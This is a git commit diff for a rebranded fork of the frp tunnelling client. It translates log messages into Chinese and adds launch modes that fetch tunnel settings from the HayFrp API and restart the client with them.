UPLOAD
This commit is contained in:
parent
b4d5d8c756
commit
84d34c8298
@ -163,9 +163,9 @@ func (ctl *Control) handleNewProxyResp(m msg.Message) {
|
|||||||
// Start a new proxy handler if no error got
|
// Start a new proxy handler if no error got
|
||||||
err := ctl.pm.StartProxy(inMsg.ProxyName, inMsg.RemoteAddr, inMsg.Error)
|
err := ctl.pm.StartProxy(inMsg.ProxyName, inMsg.RemoteAddr, inMsg.Error)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("[%s] start error: %v", inMsg.ProxyName, err)
|
xl.Warnf("[%s] 启动时发生错误: %v", inMsg.ProxyName, err)
|
||||||
} else {
|
} else {
|
||||||
xl.Infof("[%s] start proxy success", inMsg.ProxyName)
|
xl.Infof("[%s] 隧道启动成功!", inMsg.ProxyName)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -205,7 +205,7 @@ func (svr *Service) keepControllerWorking() {
|
|||||||
svr.loopLoginUntilSuccess(20*time.Second, false)
|
svr.loopLoginUntilSuccess(20*time.Second, false)
|
||||||
if svr.ctl != nil {
|
if svr.ctl != nil {
|
||||||
<-svr.ctl.Done()
|
<-svr.ctl.Done()
|
||||||
return false, errors.New("control is closed and try another loop")
|
return false, errors.New("控制已关闭,尝试另一个循环")
|
||||||
}
|
}
|
||||||
// If the control is nil, it means that the login failed and the service is also closed.
|
// If the control is nil, it means that the login failed and the service is also closed.
|
||||||
return false, nil
|
return false, nil
|
||||||
@ -281,9 +281,9 @@ func (svr *Service) login() (conn net.Conn, connector Connector, err error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
svr.runID = loginRespMsg.RunID
|
svr.runID = loginRespMsg.RunID
|
||||||
xl.AddPrefix(xlog.LogPrefix{Name: "runID", Value: svr.runID})
|
xl.AddPrefix(xlog.LogPrefix{Name: "运行ID", Value: svr.runID})
|
||||||
|
|
||||||
xl.Infof("login to server success, get run id [%s]", loginRespMsg.RunID)
|
xl.Infof("登录服务器成功!获取RunID [%s]", loginRespMsg.RunID)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -291,10 +291,10 @@ func (svr *Service) loopLoginUntilSuccess(maxInterval time.Duration, firstLoginE
|
|||||||
xl := xlog.FromContextSafe(svr.ctx)
|
xl := xlog.FromContextSafe(svr.ctx)
|
||||||
|
|
||||||
loginFunc := func() (bool, error) {
|
loginFunc := func() (bool, error) {
|
||||||
xl.Infof("try to connect to server...")
|
xl.Infof("尝试连接到服务器...")
|
||||||
conn, connector, err := svr.login()
|
conn, connector, err := svr.login()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("connect to server error: %v", err)
|
xl.Warnf("连接到服务器时发生错误: %v", err)
|
||||||
if firstLoginExit {
|
if firstLoginExit {
|
||||||
svr.cancel(cancelErr{Err: err})
|
svr.cancel(cancelErr{Err: err})
|
||||||
}
|
}
|
||||||
@ -320,7 +320,7 @@ func (svr *Service) loopLoginUntilSuccess(maxInterval time.Duration, firstLoginE
|
|||||||
ctl, err := NewControl(svr.ctx, sessionCtx)
|
ctl, err := NewControl(svr.ctx, sessionCtx)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
xl.Errorf("NewControl error: %v", err)
|
xl.Errorf("新控件出现错误: %v", err)
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
ctl.SetInWorkConnCallback(svr.handleWorkConnCb)
|
ctl.SetInWorkConnCallback(svr.handleWorkConnCb)
|
||||||
|
@ -56,7 +56,7 @@ func (sv *STCPVisitor) worker() {
|
|||||||
for {
|
for {
|
||||||
conn, err := sv.l.Accept()
|
conn, err := sv.l.Accept()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("stcp local listener closed")
|
xl.Warnf("STCP本地监听关闭")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
go sv.handleConn(conn)
|
go sv.handleConn(conn)
|
||||||
@ -68,7 +68,7 @@ func (sv *STCPVisitor) internalConnWorker() {
|
|||||||
for {
|
for {
|
||||||
conn, err := sv.internalLn.Accept()
|
conn, err := sv.internalLn.Accept()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("stcp internal listener closed")
|
xl.Warnf("STCP互联网监听关闭")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
go sv.handleConn(conn)
|
go sv.handleConn(conn)
|
||||||
@ -79,7 +79,7 @@ func (sv *STCPVisitor) handleConn(userConn net.Conn) {
|
|||||||
xl := xlog.FromContextSafe(sv.ctx)
|
xl := xlog.FromContextSafe(sv.ctx)
|
||||||
defer userConn.Close()
|
defer userConn.Close()
|
||||||
|
|
||||||
xl.Debugf("get a new stcp user connection")
|
xl.Debugf("获取到一个新的STCP用户链接.")
|
||||||
visitorConn, err := sv.helper.ConnectServer()
|
visitorConn, err := sv.helper.ConnectServer()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
@ -97,7 +97,7 @@ func (sv *STCPVisitor) handleConn(userConn net.Conn) {
|
|||||||
}
|
}
|
||||||
err = msg.WriteMsg(visitorConn, newVisitorConnMsg)
|
err = msg.WriteMsg(visitorConn, newVisitorConnMsg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("send newVisitorConnMsg to server error: %v", err)
|
xl.Warnf("发生新参与者链接信息到服务器时发生错误: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -105,13 +105,13 @@ func (sv *STCPVisitor) handleConn(userConn net.Conn) {
|
|||||||
_ = visitorConn.SetReadDeadline(time.Now().Add(10 * time.Second))
|
_ = visitorConn.SetReadDeadline(time.Now().Add(10 * time.Second))
|
||||||
err = msg.ReadMsgInto(visitorConn, &newVisitorConnRespMsg)
|
err = msg.ReadMsgInto(visitorConn, &newVisitorConnRespMsg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("get newVisitorConnRespMsg error: %v", err)
|
xl.Warnf("获取新参与者链接信息时发生错误: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
_ = visitorConn.SetReadDeadline(time.Time{})
|
_ = visitorConn.SetReadDeadline(time.Time{})
|
||||||
|
|
||||||
if newVisitorConnRespMsg.Error != "" {
|
if newVisitorConnRespMsg.Error != "" {
|
||||||
xl.Warnf("start new visitor connection error: %s", newVisitorConnRespMsg.Error)
|
xl.Warnf("启动一个新的参与者链接时发生错误: %s", newVisitorConnRespMsg.Error)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -120,7 +120,7 @@ func (sv *STCPVisitor) handleConn(userConn net.Conn) {
|
|||||||
if sv.cfg.Transport.UseEncryption {
|
if sv.cfg.Transport.UseEncryption {
|
||||||
remote, err = libio.WithEncryption(remote, []byte(sv.cfg.SecretKey))
|
remote, err = libio.WithEncryption(remote, []byte(sv.cfg.SecretKey))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Errorf("create encryption stream error: %v", err)
|
xl.Errorf("创建流线型加密连接时出现错误: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -79,14 +79,14 @@ func (vm *Manager) keepVisitorsRunning() {
|
|||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case <-vm.stopCh:
|
case <-vm.stopCh:
|
||||||
xl.Tracef("gracefully shutdown visitor manager")
|
xl.Tracef("优雅地关闭访客管理器(?)")
|
||||||
return
|
return
|
||||||
case <-ticker.C:
|
case <-ticker.C:
|
||||||
vm.mu.Lock()
|
vm.mu.Lock()
|
||||||
for _, cfg := range vm.cfgs {
|
for _, cfg := range vm.cfgs {
|
||||||
name := cfg.GetBaseConfig().Name
|
name := cfg.GetBaseConfig().Name
|
||||||
if _, exist := vm.visitors[name]; !exist {
|
if _, exist := vm.visitors[name]; !exist {
|
||||||
xl.Infof("try to start visitor [%s]", name)
|
xl.Infof("尝试加入发起者 [%s]", name)
|
||||||
_ = vm.startVisitor(cfg)
|
_ = vm.startVisitor(cfg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -115,10 +115,10 @@ func (vm *Manager) startVisitor(cfg v1.VisitorConfigurer) (err error) {
|
|||||||
visitor := NewVisitor(vm.ctx, cfg, vm.clientCfg, vm.helper)
|
visitor := NewVisitor(vm.ctx, cfg, vm.clientCfg, vm.helper)
|
||||||
err = visitor.Run()
|
err = visitor.Run()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
xl.Warnf("start error: %v", err)
|
xl.Warnf("启动错误: %v", err)
|
||||||
} else {
|
} else {
|
||||||
vm.visitors[name] = visitor
|
vm.visitors[name] = visitor
|
||||||
xl.Infof("start visitor success")
|
xl.Infof("参与者服务启动成功")
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -156,7 +156,7 @@ func (vm *Manager) UpdateAll(cfgs []v1.VisitorConfigurer) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(delNames) > 0 {
|
if len(delNames) > 0 {
|
||||||
xl.Infof("visitor removed: %v", delNames)
|
xl.Infof("参与者已移除: %v", delNames)
|
||||||
}
|
}
|
||||||
|
|
||||||
addNames := make([]string, 0)
|
addNames := make([]string, 0)
|
||||||
@ -169,7 +169,7 @@ func (vm *Manager) UpdateAll(cfgs []v1.VisitorConfigurer) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(addNames) > 0 {
|
if len(addNames) > 0 {
|
||||||
xl.Infof("visitor added: %v", addNames)
|
xl.Infof("参与者已成功加入: %v", addNames)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -179,7 +179,7 @@ func (vm *Manager) TransferConn(name string, conn net.Conn) error {
|
|||||||
defer vm.mu.RUnlock()
|
defer vm.mu.RUnlock()
|
||||||
v, ok := vm.visitors[name]
|
v, ok := vm.visitors[name]
|
||||||
if !ok {
|
if !ok {
|
||||||
return fmt.Errorf("visitor [%s] not found", name)
|
return fmt.Errorf("发起者 [%s] 未找到", name)
|
||||||
}
|
}
|
||||||
return v.AcceptConn(conn)
|
return v.AcceptConn(conn)
|
||||||
}
|
}
|
||||||
|
402
cmd/frpc/main.go
402
cmd/frpc/main.go
@ -1,26 +1,400 @@
|
|||||||
// Copyright 2016 fatedier, fatedier@gmail.com
|
|
||||||
//
|
|
||||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
// you may not use this file except in compliance with the License.
|
|
||||||
// You may obtain a copy of the License at
|
|
||||||
//
|
|
||||||
// http://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
//
|
|
||||||
// Unless required by applicable law or agreed to in writing, software
|
|
||||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
// See the License for the specific language governing permissions and
|
|
||||||
// limitations under the License.
|
|
||||||
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
|
||||||
_ "github.com/fatedier/frp/assets/frpc"
|
_ "github.com/fatedier/frp/assets/frpc"
|
||||||
"github.com/fatedier/frp/cmd/frpc/sub"
|
"github.com/fatedier/frp/cmd/frpc/sub"
|
||||||
"github.com/fatedier/frp/pkg/util/system"
|
"github.com/fatedier/frp/pkg/util/system"
|
||||||
|
"github.com/fatedier/frp/pkg/util/version"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
type Config struct {
|
||||||
|
Type string `json:"type"`
|
||||||
|
Format string `json:"format"`
|
||||||
|
Csrf string `json:"csrf"`
|
||||||
|
ProxyID string `json:"proxy"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type Response struct {
|
||||||
|
Status int `json:"status"`
|
||||||
|
Message string `json:"message"`
|
||||||
|
Data interface{} `json:"data"`
|
||||||
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
fmt.Println(`
|
||||||
|
__ __ ________
|
||||||
|
| \ | \ | \
|
||||||
|
| $$ | $$ ______ __ __ | $$$$$$$$______ ______
|
||||||
|
| $$__| $$ | \ | \ | \| $$__ / \ / \
|
||||||
|
| $$ $$ \$$$$$$\| $$ | $$| $$ \ | $$$$$$\| $$$$$$\
|
||||||
|
| $$$$$$$$ / $$| $$ | $$| $$$$$ | $$ \$$| $$ | $$
|
||||||
|
| $$ | $$| $$$$$$$| $$__/ $$| $$ | $$ | $$__/ $$
|
||||||
|
| $$ | $$ \$$ $$ \$$ $$| $$ | $$ | $$ $$
|
||||||
|
\$$ \$$ \$$$$$$$ _\$$$$$$$ \$$ \$$ | $$$$$$$
|
||||||
|
| \__| $$ | $$
|
||||||
|
\$$ $$ | $$
|
||||||
|
\$$$$$$ \$$ ——— HayFrp公益项目运营&开发组
|
||||||
|
|
||||||
|
`)
|
||||||
|
fmt.Println("欢迎使用HayFrp!")
|
||||||
|
fmt.Println("HayFrp程序发行版本:" + version.Full())
|
||||||
|
// 获取命令行参数
|
||||||
|
args := os.Args[1:]
|
||||||
|
// 检查参数数量
|
||||||
|
for _, arg := range args {
|
||||||
|
if arg == "-m" {
|
||||||
|
fmt.Println("[HayFrpOH] 捕捉到配置命令,模式已自动切换为HayFrpOH")
|
||||||
|
// 检测是否自定义API地址
|
||||||
|
api := "https://api.hayfrp.org/" // 默认API地址
|
||||||
|
// 解析参数
|
||||||
|
var id, csrf string
|
||||||
|
var isS bool
|
||||||
|
for i, arg := range args {
|
||||||
|
switch arg {
|
||||||
|
case "-m":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
csrf = args[i+1]
|
||||||
|
}
|
||||||
|
case "-h":
|
||||||
|
isS = true
|
||||||
|
|
||||||
|
case "-i":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
api = args[i+1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否提供了id和csrf
|
||||||
|
if csrf == "" {
|
||||||
|
fmt.Println("[HayFrpOH] 请提供有效的CSRF")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建请求体
|
||||||
|
config := Config{
|
||||||
|
Type: "config",
|
||||||
|
Csrf: csrf,
|
||||||
|
ProxyID: id, // 如果id不为空,则添加到请求体中
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果是-h操作,则设置format为toml
|
||||||
|
if isS {
|
||||||
|
config.Format = "toml"
|
||||||
|
fmt.Println("[HayFrpOH] HayFrpOH设定模式:发起端.")
|
||||||
|
} else {
|
||||||
|
fmt.Println("[HayFrpOH] HayFrpOH设定模式:参与端.")
|
||||||
|
}
|
||||||
|
|
||||||
|
jsonData, err := json.Marshal(config)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] JSON编码错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("[HayFrpOH] 拉取配置文件......")
|
||||||
|
// 发送POST请求
|
||||||
|
client := &http.Client{}
|
||||||
|
var req *http.Request
|
||||||
|
req, err = http.NewRequest("POST", api+"p2p", bytes.NewBuffer(jsonData))
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] 创建请求错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置请求头
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
req.Header.Set("User-Agent", "HayFrpClient/114514")
|
||||||
|
req.Header.Set("waf", "off")
|
||||||
|
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] 请求错误,请尝试使用加速器:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
fmt.Println("[HayFrpOH] 拉取成功.")
|
||||||
|
fmt.Println("[HayFrpOH] 解析配置文件......")
|
||||||
|
fmt.Println("[HayFrpOH] 成功,即将启动FRP进行X/S TCP")
|
||||||
|
// 读取响应
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] 读取响应错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析响应的JSON内容
|
||||||
|
var response Response
|
||||||
|
err = json.Unmarshal(body, &response)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] 解析响应错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查响应状态
|
||||||
|
if response.Status != 200 {
|
||||||
|
fmt.Println("[HayFrpOH] 请求失败:", response.Message)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析data字段
|
||||||
|
data := response.Data.(map[string]interface{})
|
||||||
|
// 获取当前文件的绝对路径
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("Error getting executable path:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exeDir := filepath.Dir(exePath)
|
||||||
|
programName := filepath.Base(os.Args[0])
|
||||||
|
goPath := filepath.Join(exeDir, programName)
|
||||||
|
os.Args = []string{}
|
||||||
|
// 构造启动命令
|
||||||
|
cmd := exec.Command(goPath, data["proxy_type"].(string), "visitor", "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--sk", data["sk"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "--server-name", data["proxy_name"].(string), "-n", data["proxy_name"].(string)+"_visitor", "--bind-addr", "127.0.0.1", "--bind-port", data["remote_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string))
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
cmd = exec.Command(goPath, data["proxy_type"].(string), "visitor", "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--sk", data["sk"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "--server-name", data["proxy_name"].(string), "-n", data["proxy_name"].(string)+"_visitor", "--bind-addr", "127.0.0.1", "--bind-port", data["remote_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否需要添加-s参数
|
||||||
|
if isS {
|
||||||
|
// 构造启动命令
|
||||||
|
cmd = exec.Command(goPath, data["proxy_type"].(string), "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--sk", data["sk"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "--proxy-name", data["proxy_name"].(string), "-i", data["local_ip"].(string), "-l", data["local_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string))
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
cmd = exec.Command(goPath, data["proxy_type"].(string), "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--sk", data["sk"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "--proxy-name", data["proxy_name"].(string), "-i", data["local_ip"].(string), "-l", data["local_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取命令的输出和错误信息
|
||||||
|
stdout, err := cmd.StdoutPipe()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] 获取命令输出错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
stderr, err := cmd.StderrPipe()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] 获取命令错误输出错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 启动命令
|
||||||
|
err = cmd.Start()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] 启动命令错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取输出和错误信息
|
||||||
|
go func() {
|
||||||
|
buf := make([]byte, 1024)
|
||||||
|
for {
|
||||||
|
n, err := stdout.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
fmt.Print(string(buf[:n]))
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
buf := make([]byte, 1024)
|
||||||
|
for {
|
||||||
|
n, err := stderr.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
fmt.Print(string(buf[:n]))
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待命令完成
|
||||||
|
err = cmd.Wait()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpOH] 命令执行错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("[HayFrpOH] 任务被结束.")
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
if arg == "-esirun" {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 捕捉到配置命令,模式已自动切换为快速启动.")
|
||||||
|
// 检测是否自定义API地址
|
||||||
|
api := "https://api.hayfrp.org/"
|
||||||
|
// 解析参数
|
||||||
|
var id, csrf string
|
||||||
|
for i, arg := range args {
|
||||||
|
switch arg {
|
||||||
|
case "-esirun":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
csrf = args[i+1]
|
||||||
|
}
|
||||||
|
|
||||||
|
case "-i":
|
||||||
|
if i+1 < len(args) {
|
||||||
|
api = args[i+1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否提供了id和csrf
|
||||||
|
if csrf == "" {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 请提供有效的CSRF")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建请求体
|
||||||
|
config := Config{
|
||||||
|
Type: "config",
|
||||||
|
Csrf: csrf,
|
||||||
|
ProxyID: id, // 如果id不为空,则添加到请求体中
|
||||||
|
}
|
||||||
|
|
||||||
|
jsonData, err := json.Marshal(config)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] JSON编码错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("[HayFrpEasyRun] 拉取配置文件......")
|
||||||
|
// 发送POST请求
|
||||||
|
client := &http.Client{}
|
||||||
|
var req *http.Request
|
||||||
|
req, err = http.NewRequest("POST", api+"esirun", bytes.NewBuffer(jsonData))
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 创建请求错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置请求头
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
req.Header.Set("User-Agent", "HayFrpClient/114514")
|
||||||
|
req.Header.Set("waf", "off")
|
||||||
|
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 请求错误,请尝试使用加速器:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
fmt.Println("[HayFrpEasyRun] 拉取成功.")
|
||||||
|
fmt.Println("[HayFrpEasyRun] 解析配置文件......")
|
||||||
|
fmt.Println("[HayFrpEasyRun] 成功,即将启动FRP")
|
||||||
|
// 读取响应
|
||||||
|
body, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 读取响应错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析响应的JSON内容
|
||||||
|
var response Response
|
||||||
|
err = json.Unmarshal(body, &response)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 解析响应错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查响应状态
|
||||||
|
if response.Status != 200 {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 请求失败:", response.Message)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析data字段
|
||||||
|
data := response.Data.(map[string]interface{})
|
||||||
|
// 获取当前文件的绝对路径
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("Error getting executable path:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exeDir := filepath.Dir(exePath)
|
||||||
|
programName := filepath.Base(os.Args[0])
|
||||||
|
goPath := filepath.Join(exeDir, programName)
|
||||||
|
os.Args = []string{}
|
||||||
|
// 构造启动命令
|
||||||
|
|
||||||
|
cmd := exec.Command(goPath, data["proxy_type"].(string), "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "-n", data["proxy_name"].(string), "-i", data["local_ip"].(string), "-l", data["local_port"].(string), "-r", data["remote_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string))
|
||||||
|
if data["proxy_type"].(string) == "http" || data["proxy_type"].(string) == "https" {
|
||||||
|
cmd = exec.Command(goPath, data["proxy_type"].(string), "-s", data["ip"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "-n", data["proxy_name"].(string), "-i", data["local_ip"].(string), "-l", data["local_port"].(string), "-d", data["domain"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取命令的输出和错误信息
|
||||||
|
stdout, err := cmd.StdoutPipe()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 获取命令输出错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
stderr, err := cmd.StderrPipe()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 获取命令错误输出错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 启动命令
|
||||||
|
err = cmd.Start()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 启动命令错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取输出和错误信息
|
||||||
|
go func() {
|
||||||
|
buf := make([]byte, 1024)
|
||||||
|
for {
|
||||||
|
n, err := stdout.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
fmt.Print(string(buf[:n]))
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
buf := make([]byte, 1024)
|
||||||
|
for {
|
||||||
|
n, err := stderr.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
fmt.Print(string(buf[:n]))
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待命令完成
|
||||||
|
err = cmd.Wait()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("[HayFrpEasyRun] 命令执行错误:", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("[HayFrpEasyRun] 任务被结束.")
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
system.EnableCompatibilityMode()
|
system.EnableCompatibilityMode()
|
||||||
sub.Execute()
|
sub.Execute()
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -47,7 +47,7 @@ func init() {
|
|||||||
for _, typ := range proxyTypes {
|
for _, typ := range proxyTypes {
|
||||||
c := v1.NewProxyConfigurerByType(typ)
|
c := v1.NewProxyConfigurerByType(typ)
|
||||||
if c == nil {
|
if c == nil {
|
||||||
panic("proxy type: " + typ + " not support")
|
panic("隧道类型: " + typ + " 不支持")
|
||||||
}
|
}
|
||||||
clientCfg := v1.ClientCommonConfig{}
|
clientCfg := v1.ClientCommonConfig{}
|
||||||
cmd := NewProxyCommand(string(typ), c, &clientCfg)
|
cmd := NewProxyCommand(string(typ), c, &clientCfg)
|
||||||
@ -58,7 +58,7 @@ func init() {
|
|||||||
if slices.Contains(visitorTypes, v1.VisitorType(typ)) {
|
if slices.Contains(visitorTypes, v1.VisitorType(typ)) {
|
||||||
